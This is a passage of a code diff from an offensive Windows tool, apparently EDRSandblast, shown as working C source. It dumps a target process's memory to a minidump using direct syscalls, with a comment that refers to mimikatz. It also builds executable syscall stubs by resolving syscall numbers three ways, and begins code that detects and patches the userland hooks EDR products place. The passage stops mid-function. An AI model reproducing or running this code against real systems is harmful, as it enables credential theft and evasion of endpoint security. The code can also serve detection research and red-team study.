// Append CSDVersion string
|
||||
#if _WIN64
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
|
||||
#else
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
|
||||
#endif
|
||||
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
|
||||
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
if (!CSDVersion) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
CSDVersion->Length = CSDVersionLength;
|
||||
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
|
||||
RVA CSDVersionRVA = dumpContext->RVA;
|
||||
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
|
||||
// write our length in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// write the CSDVersion RVA in the SystemInfoStream
|
||||
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
|
||||
PMODULE_INFO currentModule = pmoduleList;
|
||||
|
||||
ULONG32 modulesCount = 0;
|
||||
|
||||
// Write modules dll metadata (length & path).
|
||||
while (currentModule) {
|
||||
modulesCount = modulesCount + 1;
|
||||
|
||||
currentModule->nameRVA = dumpContext->RVA;
|
||||
|
||||
// Write the module fullname length.
|
||||
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) ¤tModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
|
||||
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the module fullname length.
|
||||
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the number of modules.
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
if (!appendToDump(dumpContext, &modulesCount, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the modules data.
|
||||
currentModule = pmoduleList;
|
||||
while (currentModule) {
|
||||
MINIDUMP_MODULE module = { 0 };
|
||||
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
|
||||
module.SizeOfImage = currentModule->ImageSize;
|
||||
module.CheckSum = currentModule->checkSum;
|
||||
module.TimeDateStamp = currentModule->timeDateStamp;
|
||||
module.ModuleNameRva = currentModule->nameRVA;
|
||||
module.VersionInfo.dwSignature = 0;
|
||||
module.VersionInfo.dwStrucVersion = 0;
|
||||
module.VersionInfo.dwFileVersionMS = 0;
|
||||
module.VersionInfo.dwFileVersionLS = 0;
|
||||
module.VersionInfo.dwProductVersionMS = 0;
|
||||
module.VersionInfo.dwProductVersionLS = 0;
|
||||
module.VersionInfo.dwFileFlagsMask = 0;
|
||||
module.VersionInfo.dwFileFlags = 0;
|
||||
module.VersionInfo.dwFileOS = 0;
|
||||
module.VersionInfo.dwFileType = 0;
|
||||
module.VersionInfo.dwFileSubtype = 0;
|
||||
module.VersionInfo.dwFileDateMS = 0;
|
||||
module.VersionInfo.dwFileDateLS = 0;
|
||||
module.CvRecord.DataSize = 0;
|
||||
module.CvRecord.Rva = 0;
|
||||
module.MiscRecord.DataSize = 0;
|
||||
module.MiscRecord.Rva = 0;
|
||||
module.Reserved0 = 0;
|
||||
module.Reserved1 = 0;
|
||||
|
||||
|
||||
if (!appendToDump(dumpContext, &module, sizeof(module))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the total length in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType
|
||||
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// Write our RVA in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
|
||||
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
|
||||
if (!memory64List) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Count the number of memory ranges.
|
||||
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
|
||||
ULONG32 memoryPagesCount = 0;
|
||||
while (currentMemoryPage) {
|
||||
memoryPagesCount++;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
memory64List->NumberOfMemoryRanges = memoryPagesCount;
|
||||
|
||||
// Extend the structure to host all ranges
|
||||
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
|
||||
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
|
||||
if (!tmp) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
memory64List = tmp;
|
||||
|
||||
// Compute the rva of the actual memory content
|
||||
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
|
||||
memory64List->BaseRva = baseRVA;
|
||||
|
||||
// Compute the start and size of each memory Page.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
SIZE_T indexMemoryRange = 0;
|
||||
while (currentMemoryPage) {
|
||||
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
|
||||
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
indexMemoryRange++;
|
||||
}
|
||||
|
||||
//Write the actual stream
|
||||
appendToDump(dumpContext, memory64List, streamSize);
|
||||
free(memory64List);
|
||||
memory64List = NULL;
|
||||
|
||||
// Write our length in the Memory64ListStream directory.
|
||||
// header + 2 directories + streamType.
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the Memory64ListStream directory
|
||||
// header + 2 directories + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// dump all the selected memory Pages.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
while (currentMemoryPage) {
|
||||
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
|
||||
if (!buffer) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
|
||||
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
|
||||
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
|
||||
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
|
||||
currentMemoryPage->dataSize,
|
||||
currentMemoryPage->state,
|
||||
currentMemoryPage->protect,
|
||||
currentMemoryPage->type,
|
||||
status);
|
||||
}
|
||||
if (MAXDWORD < currentMemoryPage->dataSize) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Free memory Page (overwrite it first, just in case).
|
||||
memset(buffer, 0, currentMemoryPage->dataSize);
|
||||
free(buffer);
|
||||
buffer = NULL;
|
||||
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
DWORD targetProcessPID = 0;
|
||||
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
PMEMORY_PAGE_INFO pmemoryPages = NULL;
|
||||
|
||||
HANDLE hDumpFile = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
LARGE_INTEGER AllocationSize = { 0 };
|
||||
|
||||
HANDLE htargetProcess = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
|
||||
|
||||
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
|
||||
|
||||
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
WCHAR FilePath[MAX_PATH] = { 0 };
|
||||
const WCHAR prefix[] = L"\\??\\";
|
||||
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
|
||||
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
|
||||
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
|
||||
|
||||
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
|
||||
|
||||
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
|
||||
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Open an handle to the process to dump.
|
||||
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID clientId = { 0 };
|
||||
clientId.ProcessId = UlongToHandle(targetProcessPID);
|
||||
|
||||
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
|
||||
if (status == STATUS_ACCESS_DENIED) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate memory to write the mini dump.
|
||||
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
|
||||
PVOID dumpBaseAddr = calloc(dumpSz, 1);
|
||||
if (!dumpBaseAddr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
DUMP_CONTEXT dumpContext = { 0 };
|
||||
dumpContext.Signature = MINIDUMP_SIGNATURE;
|
||||
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
|
||||
dumpContext.hProcess = htargetProcess;
|
||||
dumpContext.BaseAddress = dumpBaseAddr;
|
||||
dumpContext.RVA = 0;
|
||||
dumpContext.DumpMaxSize = dumpSz;
|
||||
|
||||
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
|
||||
if (!pmoduleList) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
|
||||
if (!pmemoryPages) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpHeader(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpDirectories(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpSystemInfoStream(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
freeLinkedList(pmoduleList);
|
||||
freeLinkedList(pmemoryPages);
|
||||
NtClose(htargetProcess);
|
||||
NtClose(hDumpFile);
|
||||
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
|
||||
|
||||
return STATUS_SUCCES;
|
||||
|
||||
cleanup:
|
||||
if (htargetProcess) {
|
||||
NtClose(htargetProcess);
|
||||
}
|
||||
|
||||
if (hDumpFile) {
|
||||
NtClose(hDumpFile);
|
||||
}
|
||||
|
||||
if (pmoduleList) {
|
||||
freeLinkedList(pmoduleList);
|
||||
}
|
||||
|
||||
if (pmemoryPages) {
|
||||
freeLinkedList(pmemoryPages);
|
||||
}
|
||||
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
|
||||
return SandMiniDumpWriteDump(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
#include <Windows.h>
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEParser.h"
|
||||
#include "PEBBrowse.h"
|
||||
|
||||
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
|
||||
|
||||
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_disk;
|
||||
PE* ntdll_mem;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
|
||||
for (int i = 0; i < 0x10; i++, scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
typedef struct SYSCALL_t {
|
||||
LPCSTR Name;
|
||||
DWORD RVA;
|
||||
DWORD Number;
|
||||
}SYSCALL;
|
||||
|
||||
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
|
||||
return strcmp(a->Name, b->Name);
|
||||
}
|
||||
|
||||
DWORD g_nbSyscalls = 0;
|
||||
DWORD g_nbSyscallsMax = 0;
|
||||
SYSCALL* g_syscalls = NULL;
|
||||
|
||||
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
|
||||
if (g_syscalls != NULL) {
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
g_nbSyscallsMax = 0x10;
|
||||
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
|
||||
if (!g_syscalls) {
|
||||
return NULL;
|
||||
}
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
// Store all Zw* function as a syscall
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
if (g_nbSyscalls == g_nbSyscallsMax) {
|
||||
g_nbSyscallsMax *= 2;
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
|
||||
if (!tmp) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
}
|
||||
g_syscalls[g_nbSyscalls].Name = functionName;
|
||||
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
|
||||
g_nbSyscalls++;
|
||||
}
|
||||
}
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
|
||||
if (!tmp || !g_nbSyscalls) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
g_nbSyscallsMax = g_nbSyscalls;
|
||||
|
||||
// Sort the Zw* functions by RVA
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
|
||||
|
||||
// Deduce the syscall numbers from order in table
|
||||
for (DWORD j = 0; j < g_nbSyscalls; j++) {
|
||||
g_syscalls[j].Number = j;
|
||||
}
|
||||
// Sort the function back in alphabetical order
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
|
||||
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
|
||||
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
|
||||
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
|
||||
DWORD syscallTableSize;
|
||||
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
|
||||
if (syscallTable == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
LPSTR zwFunctionName = _strdup(ntFunctionName);
|
||||
if (zwFunctionName == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
*(WORD*)zwFunctionName = *(WORD*)"Zw";
|
||||
|
||||
DWORD down = 0;
|
||||
DWORD up = syscallTableSize;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
|
||||
return syscallTable[down].Number;
|
||||
}
|
||||
else {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!shellcode) {
|
||||
return NULL;
|
||||
}
|
||||
PBYTE pShellcode = shellcode;
|
||||
|
||||
// get the syscall number through different techniques and check they give the same result
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
|
||||
|
||||
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
|
||||
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
|
||||
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
|
||||
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
|
||||
return NULL;
|
||||
}
|
||||
syscallNumber = syscallNumberCandidate;
|
||||
}
|
||||
}
|
||||
|
||||
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
|
||||
DWORD oldProtect;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return shellcode;
|
||||
}
|
||||
@@ -0,0 +1,623 @@
|
||||
/*
|
||||
* All the logic that detects, resolves, patch userland hooks and other related structures
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "Undoc.h"
|
||||
#include "Syscalls.h"
|
||||
|
||||
|
||||
#if _DEBUG
|
||||
int debugf(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
}
|
||||
#else
|
||||
#define debugf(...)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
|
||||
